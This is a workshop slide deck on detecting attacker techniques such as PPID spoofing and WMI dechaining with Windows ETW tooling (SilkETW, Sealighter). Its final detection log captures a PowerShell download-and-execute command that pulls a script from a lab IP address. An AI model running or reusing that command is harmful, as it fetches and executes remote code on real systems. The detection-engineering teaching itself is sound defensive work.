



# CyberWarFare Labs Hands-on Workshop on

## **“Detecting Adversarial Tradecrafts/Tools by leveraging ETW”**

Date : 26th-27th Feb 2022

Email : [info@cyberwarfare.live](mailto:info@cyberwarfare.live)

# Introduction

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- Chief Technical Architect @CyberWarFare Labs
- Interests : Enterprise Security, Architecture Setup, Red Team R&D
- 4+ Year experience in Threat Emulation, APT Simulation, Cyber Red Team Operations
- Presented / Trained at Nullcon, OWASP, BSIDES, CISO Platform etc.

Anirban Das ([LinkedIn](#))

- Security Researcher @CyberWarFare Labs
- Interests : Detection Engineering, Threat Hunting, Windows Internals.
- 3+ Years experience in Offensive / Defensive Security.

# Outline

1. ETW Basics and Setup with HELK.
2. Playing around with multiple ETW Providers.
3. Weaponizing ETW-TI for Detection.
4. Detecting various "Defense Evasion" Techniques. (PPID, Command Line Spoofing etc.)
5. Detecting .NET Tools and Attack Techniques. (AppDomain Abuse, SharpPick etc.)
6. Detecting LOLBAS, BYOL & BYOI Techniques.
7. Detecting Techniques leveraged by various C2 Agents.

# Note

Day I & II covered the following topics:

1. ETW Basics and Setup with HELK.
2. Playing around with multiple ETW Providers.
3. Weaponizing ETW-TI for Detection.
4. Detecting various "Defense Evasion" Techniques. (PPID Spoofing)

**Part I** of the PPT only contains the above material.

# What is ETW?

Event Tracing for Windows (ETW) is an efficient **Kernel-Level** tracing facility that lets you log Kernel or Application-Defined Events to a log file.

You can consume the events in real time or from a log file and use them to debug an application, look for anomalies etc.

ETW logs can be a major aid for Security Operations and DEATH (Detection **E**ngineering **A**nd Threat **H**unting).

*Reference:*

*[https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing#:~:text=Event%20Tracing%20for%20Windows%20\(ETW,are%20occurring%20in%20the%20application.](https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing#:~:text=Event%20Tracing%20for%20Windows%20(ETW,are%20occurring%20in%20the%20application.)*

# ETW - Terminology

**Controller:** One which can Create/Update/Delete/Start/Stop a Event Trace Session & Enable/Disable a Channel.

E.g.,

1. Logman - Create/Update/Delete a Event Trace Session.
2. Windows Performance Tool (Computer Management)
3. Creates/Updates/Deletes/Starts/Stops a Event Trace Session.
3. Event Viewer - Enables/Disables a Channel.

**Provider:** Provides Events to a Tracing Session.

**Trace Session:** Collects events from a Provider, and saves the events as a `.etl` file.

E.g., Microsoft-Windows-Kernel-Process,  
Microsoft-Windows-Threat-Intelligence etc.,

**Consumer:** Consumes the event directly from a Provider Channel or from the `.etl`, `.evtx` file, or from 3rd Party event collectors like SilkETW, Sealighter etc.

E.g., SIEM, Event Viewer.

Event Viewer has the property of both **Controller** and **Consumer**.




Fig 1: ETW Architecture

**Controller**  
(Logman / WPT)


Creates 1


**Trace Session**  
(kptrace)


```
logman create trace kptrace -ets
```

Event Trace Session











Only Saved Events, No Real Time Events!



# Channels

Channel is basically a sink that collects events.



You need to have a channel for a specific provider for you to consume Real Time events in Event Log.

If you do not have a channel for a specific provider then you'd need **3rd party** tools for you to consume Real Time events in Event Log.

# Channels

Tool: **WEPEXplorer** [\[Link\]](#)

Channels

Windows Events Providers Explorer - v1.2

File Help

Provider GUID/name: process

GUID	Name
{FD771D53-8492-4057-8E35-3C02B13AF49B}	Microsoft-Windows-ProcessExitMonitor
{D49918CF-8489-48F1-907B-014D864CF71F}	Microsoft-Windows-ProcessStateManager
{C8A16CF2-2F4B-49F8-894E-594E719549E7}	Microsoft-Windows-Processor Aggregator
{22F8C0D6-0E7B-422B-A0C7-3FAD1F0DE716}	Microsoft-Windows-Kernel-Process
{0F67E49F-FE51-4E9F-B490-6F2949CC6027}	Microsoft-Windows-Kernel-ProcessorPower

Provider filters - Microsoft-Windows-Kernel-Process


Channels:  Levels:  Opcodes:  Tasks:  Template fields:  ALL


Message has:

Value	Name	Message
16	WINEVENT_KEYWOR...	
32	WINEVENT_KEYWOR...	
64	WINEVENT_KEYWOR...	
128	WINEVENT_KEYWOR...	
256	WINEVENT_KEYWOR...	
512	WINEVENT_KEYWOR...	
1024	WINEVENT_KEYWOR...	
2048	WINEVENT_KEYWOR...	
4096	WINEVENT_KEYWOR...	
8192	WINEVENT_KEYWOR...	
16384	WINEVENT_KEYWOR...	

Provider metadata - Microsoft-Windows-Kernel-Process

Id	Level	Opcode	Task	Keyword	Channel	Message	Fields
1	Information	Start	ProcessStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 started at time %2 by parent %3 running in sess...	Process...
1	Information	Start	ProcessStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 started at time %2 by parent %3 running in sess...	Process...
1	Information	Start	ProcessStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 started at time %2 by parent %3 running in sess...	Process...
2	Information	Stop	ProcessStop	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 (which started at time %3) stopped at time %4 ...	Process...
2	Information	Stop	ProcessStop	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 (which started at time %3) stopped at time %4 ...	Process...
2	Information	Stop	ProcessStop	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 (which started at time %3) stopped at time %4 ...	Process...
3	Information	Start	ThreadStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Thread %2 in Process %1 started.	Process...
3	Information	Start	ThreadStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Thread %2 in Process %1 started.	Process...
4	Information	Stop	ThreadStop	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Thread %2 in Process %1 stopped.	Process...
4	Information	Stop	ThreadStop	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Thread %2 in Process %1 stopped.	Process...
5	Information	ImageLoad	ImageLoad	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %3 had an image loaded with name %7.	ImageB...
6	Information	ImageUnload	ImageUnload	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %3 had an image unloaded with name %7.	ImageB...
7	Information	CpuBasePriorityChange	CpuBasePriorityChange	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Base CPU priority of thread %2 in process %1 was changed...	Process...
8	Information	CpuPriorityChange	CpuPriorityChange	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	CPU priority of thread %2 in process %1 was changed from ...	Process...
9	Information	IoPriorityChange	IoPriorityChange	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Page priority of thread %2 in process %1 was changed from ...	Process...
10	Information	IoPriorityChange	IoPriorityChange	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	I/O priority of thread %2 in process %1 was changed from ...	Process...
11	Information	Start	ProcessStart	WINEVENT_KEYWOR...	Microsoft-Windows-Kernel-Process/Analytic	Process %1 started at time %2 by parent %3 running in sess...	Process...











Fig 1: ETW Architecture



## 2. Playing around with multiple ETW Providers.

# Windows Performance Tools

Computer Management > System Tools > Performance > Data Collector Sets > Event Trace Sessions

The screenshot shows the Windows Computer Management console. The left pane displays a tree view with the following items and their corresponding red navigation lines:

- Computer Management (Local) — 1
- System Tools — 2
- Performance — 3
- Data Collector Sets — 4
- Event Trace Sessions — 5

The right pane displays a list of Event Trace Sessions with their names and status.

Name	Status
Circular Kernel Context Logger	Running
Eventlog-Security	Running
DiagLog	Running
Diagtrack-Listener	Running
EventLog-Application	Running
EventLog-System	Running
iclsClient	Running
iclsProxy	Running
IntelPTTEKRecertification	Running
IntelIRST	Running
LwtNetLog	Running
Microsoft-Windows-Rdp-Grap...	Running
NetCore	Running
NtfsLog	Running
RadioMgr	Running


# Windows Performance Tools

## 1. Create New Event Trace Session.

(Right Click > New > Data Collector Set)

## 2. Event Trace Sessions currently running.

## 3. Providers providing events to those Sessions.



# Lab: I

Create a New *Event Trace Session*.

Tool:	<b>Windows Performance Tool</b>
Provider:	<b>Microsoft-Windows-WMI-Activity</b>
Keyword Value:	<b>0x40000000000000</b>

# Problem 1!

Where are the Real Time Logs?

## Solution

Enable the Channel (if it **Exists**) via Event Viewer !

# Problem 2!

What if the Channel doesn't exist for a specific Provider?

# Solution

Use SilkETW or Sealighter



# SilkETW

**Credits:** Ruben Boonen (@[FuzzySec](#))

**Link:** [github.com/mandiant/SilkETW](https://github.com/mandiant/SilkETW)

1. Built on top of *Microsoft.Diagnostics.Tracing.TraceEvent* library.
2. Simple interface to look at the ETW Logs.
3. Can be used as a Research tool, and sometimes in production (Depends).
4. **Can't** consume/log events from **Microsoft-Windows-Threat-Intelligence**.

Output data is serialized to JSON. The JSON data can either be:

1. Shipped off to 3rd Party Infrastructure such as Elasticsearch.
2. Written to file.
3. Stored in the Windows Event Log.

# SilkETW

## URL

**Command Line:** `-t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot url -p https://some.elk:9200/ldap/_doc/`

## File

**Command Line:** `-t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\Some\Path\out.json`

## Event Log

**Command Line:** `-t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot eventlog`

**Setup**

# Lab: II

Create a New *Event Trace Session* for a Provider with **No Channel**.

Tool:	<b>SilkETW</b>
Provider:	<b>Microsoft-Windows-DotNETRuntime</b>
Keyword Value:	<b>0x2038</b>
Output:	<b>File &amp; Event Log</b>

# Problem 3!

How to set SilkETW as a Service?

# Solution

Use SilkService!

# SilkService

**Credits:** Ruben Boonen (@[FuzzySec](#))

**Link:** [github.com/mandiant/SilkETW](https://github.com/mandiant/SilkETW)

1. SilkService lets you run SilkETW in Headless Mode
2. Collect ETW events from multiple Providers at the same time.

Output data is serialized to JSON. The JSON data can either be:

1. Shipped off to 3rd Party Infrastructure such as Elasticsearch.
2. Written to file.
3. Stored in the Windows Event Log.

# **Setup + Demo**

# SilkService (Provider Logging)

## URL

### Configuration File

```
<Guid>1</Guid>
<CollectorType>user</CollectorType>
<ProviderName>e13c0d23-ccbc-4e12-931b-d9cc2eee27e4</ProviderName>
<OutputType>url</OutputType>
<Path>https://some.elk:9200/NetETW/_doc</Path>
```

## File

### Configuration File

```
<Guid>2</Guid>
<CollectorType>user</CollectorType>
<ProviderName>Microsoft-Windows-DNS-Client</ProviderName>
<OutputType>file</OutputType>
<Path>C:\Users\victim\Desktop\output.json</Path>
```

## Event Log

### Configuration File

```
<Guid>21ac2393-3bbb-4702-a01c-b593e21913dc</Guid>
<CollectorType>user</CollectorType>
<ProviderName>e13c0d23-ccbc-4e12-931b-d9cc2eee27e4</ProviderName>
<OutputType>eventlog</OutputType>
```



# SilkService (Kernel Logging)

## URL

### Configuration File

```
<Guid>1</Guid>  
<CollectorType>kernel</CollectorType>  
<KernelKeywords>Process</KernelKeywords>  
<OutputType>url</OutputType>  
<Path>https://some.elk:9200/NetETW/_doc</Path>
```

## File

### Configuration File

```
<Guid>21ac2393-3bbb-4702-a01c-b593e21913dc</Guid>  
<CollectorType>kernel</CollectorType>  
<KernelKeywords>Process</KernelKeywords>  
<OutputType>file</OutputType>  
<Path>C:\Users\victim\Desktop\output.json</Path>
```

## Event Log

### Configuration File

```
<Guid>21ac2393-3bbb-4702-a01c-b593e21913dc</Guid>  
<CollectorType>kernel</CollectorType>  
<KernelKeywords>Process</KernelKeywords>  
<OutputType>eventlog</OutputType>
```

# Lab: III

Create a New *Event Trace Session* as a **Service**.

Tool:	<b>SilkService</b>
Provider:	<b>Microsoft-Windows-DotNETRuntime</b>
Keyword Value:	<b>0x2038</b>
Output:	<b>File &amp; Event Log</b>

# Lab: III (Solution)

Service  
Creation

```
sc create SilkService binPath= "<FullPath>"
```

[ Restart ]

Incase you want to delete a Service

Service  
Deletion

```
sc query state=all | find "Silk"
```

[To find the DISPLAY and SERVICE name]

```
sc delete <SERVICE_NAME>
```

# Problem 3!

How to log **Microsoft-Windows-Threat-Intelligence**  
Provider Events?

## Solution

Use Sealighter!

### 3. Weaponizing **ETW-TI** for Detection

# Protected Process Light Anti-Malware

- Special flag inside their EPROCESS struct in the kernel.
- Binary and any DLLs are signed by Microsoft.
- Signed Early Launch AntiMalware (ELAM) Kernel Driver.
- PPL Processes can't be killed, inspected by ordinary users or process.
- Get access to ETW-TI Events.

# ETW-TI & Sealighter

- Only processes started at least as **Protected Process Light Anti-Malware** (or **PPL-AM**) can receive events from ETW-TI.
  - ETW-TI, one of the hardcore provider.
  - ETW-TI Provider events are consumed by Defender for Endpoint (ATP), Sentinel etc.,
- 
- Sealighter can log and consume ETW-TI Events :)
  - Works by putting the PPLDump into play in the back.

# Sealighter

**Credits:** Pat H (@[pathtofile](#))

**Link:** [github.com/pathtofile/Sealighter](https://github.com/pathtofile/Sealighter) (The Version in talk is Sealighter v1.5)

1. Built on top of *KrabsETW* library.
2. To output the results, a **configuration file** is needed.
3. Can be used as a Research tool, but can't be used in production.
4. **Can** consume/log events from **Microsoft-Windows-Threat-Intelligence** Provider.
5. Lots of customisation via the configuration file.
5. Output to STDOUT (Standard Out), File or Windows Event Log.



# Sealighter

## STDOUT

### Configuration File

"output\_format": "stdout",

## File

### Configuration File

"output\_format": "file",  
"output\_filename": "output.json"

## Event Log

### Configuration File

"output\_format": "event\_log",

# **Setup + Demo**

# Lab: III

Create a New *Event Trace Session*.

Tool:	<b>Sealighter</b>
Provider:	<b>Microsoft-Windows-DotNETRuntime</b>
Keyword Value:	<b>0x2038</b>
Output:	<b>File &amp; Event Log</b>

# Problem 4!

How to set Sealighter as a Service?

## Answer

You Can't !

# SilkETW vs Sealighter

Silk uses the **Microsoft.Diagnostics.Tracing.TraceEvent** library. Being a .NET library it doesn't parse events for some providers fully, reporting only a fraction of the event's properties.  
E.g., Not able to fetch the Parent PID value in Microsoft-Windows-Kernel-Process.

Sealighter uses the **KrabsETW** Library. It provides complete event properties and a lot of extremely useful and efficient event filtering options.

Apart from that Sealighter can log **Microsoft-Windows-Threat-Intelligence** while SilkETW can't.

# ETW Event Dumper

**Advantage:**

Makes hooking over 100 providers really easy by just using a .txt file, which contains all the provider GUID.

Whereas other 3rd Party tools like SilkService, Sealighter can be quite overwhelming with config file if one wants to hook over 100 providers.

**Tool:**

<https://github.com/woanware/etw-event-dumper>

**Requirements:**

<https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/sdk-6.0.200-windows-x64-installer>

## 4. Detecting "**Defense Evasion**" Techniques

# Detecting "Defense Evasion" Techniques

Case I: Detecting **PPID Spoofing**.

- a. SelectMyParent.

- b. WMI Dechaining.

Case II: Detecting **Command Line Spoofing**.



# Case I: Detecting PPID Spoofing

- a. Using SelectMyParent from Didier Stevens. [[Source](#)]
- b. Using WMI to Dechain the parent.

# Deep Dive on **SelectMyParent** & **CreateProcess()** !

1. What is **PPID Spoofing** ?
2. How **SelectMyParent** implements it and how does it works?

## Lab IV: Detecting SelectMyParent

# Solution

Tool:	<b>Windows Performance Tool</b>
Provider:	<b>Microsoft-Windows-Kernel-Process</b>
Keyword:	<b>WINEVENT_KEYWORD_PROCESS</b>
Keyword Value:	<b>0x0000000000000010</b>
Output:	<b>EventLog</b>

Keywords for Detecting PPID Spoofing  
( SelectMyParent / CreateProcess() )

<b>Execution ProcessID :</b>	Real Parent PID
<b>ProcessID :</b>	Child PID

Event 1, Kernel-Process

General Details

☐ Friendly View ☒ XML View

```
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
  <Provider Name="Microsoft-Windows-Kernel-Process" Guid="{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}" />
  <EventID>1</EventID>
  <Version>3</Version>
  <Level>4</Level>
  <Task>1</Task>
  <Opcode>1</Opcode>
  <Keywords>0x8000000000000010</Keywords>
  <TimeCreated SystemTime="2022-02-27T17:22:50.0747396Z" />
  <EventRecordID>1</EventRecordID>
  <Correlation />
  <Execution ProcessID="7960" ThreadID="1680" />
  <Channel />
  <Computer>DESKTOP-UEMM734</Computer>
  <Security />
</System>
- <EventData>
  <Data Name="ProcessID">7300</Data>
  <Data Name="ProcessSequenceNumber">343</Data>
  <Data Name="CreateTime">2022-02-27T17:22:50.0747396Z</Data>
  <Data Name="ParentProcessID">7960</Data>
  <Data Name="ParentProcessSequenceNumber">331</Data>
  <Data Name="SessionID">1</Data>
  <Data Name="Flags">0</Data>
  <Data Name="ProcessTokenElevationType">2</Data>
  <Data Name="ProcessTokenIsElevated">1</Data>
  <Data Name="MandatoryLabel">S-1-16-12288</Data>
  <Data Name="ImageName">\Device\HarddiskVolume3\Users\c0rvus\Desktop\Workshop\SelectMyParent.exe</Data>
  <Data Name="ImageChecksum">68116</Data>
  <Data Name="TimeStamp">1258918379</Data>
  <Data Name="PackageFullName" />
  <Data Name="PackageRelativeAppId" />
</EventData>
</Event>
```

Real Process ID

Child Process ID

Fake Process ID

# Deep Dive **WMI Dechaining** & Techniques Alike!

1. How is a particular process de-chained from the parent using **WMI** ?
2. What are the classes and methods used in the code to invoke **WMI** from VBA?
3. Why **Microsoft-Windows-Kernel-Process** provider event didn't gave out the Real Parent when WMI Dechaining technique was used?

# Lab V: Detecting WMI Dechaining

# Solution

Tool:	<b>SilkService</b>
Provider:	<b>Microsoft-Windows-WMI-Activity</b>
Keyword:	<b>Microsoft-Windows-WMI-Activity/Operational</b>
Keyword Value:	<b>0x4000000000000000</b>
Output:	<b>EventLog</b>

Keywords for Detecting PPID Spoofing (WMI - Dechaining)

<b>Commandline:</b>	Arguments used by a Process.
<b>ClientProcessId :</b>	Real Parent PID
<b>CreatedProcessId :</b>	Child PID



Time	ProviderName	CommandLine	ClientProcessId	CreatedProcessId
> Feb 27, 2022 @ 23:25:53.848	Microsoft-Windows-WMI-Activity	powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.29.115/file.txt'))	7,680	7,408
> Feb 27, 2022 @ 23:25:53.848	Microsoft-Windows-WMI-Activity	powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.29.115/file.txt'))	7,680	7,408
> Feb 27, 2022 @ 23:25:53.892	Microsoft-Windows-WMI-Activity	-	7,680	-

Command Line

Parent PID

Child PID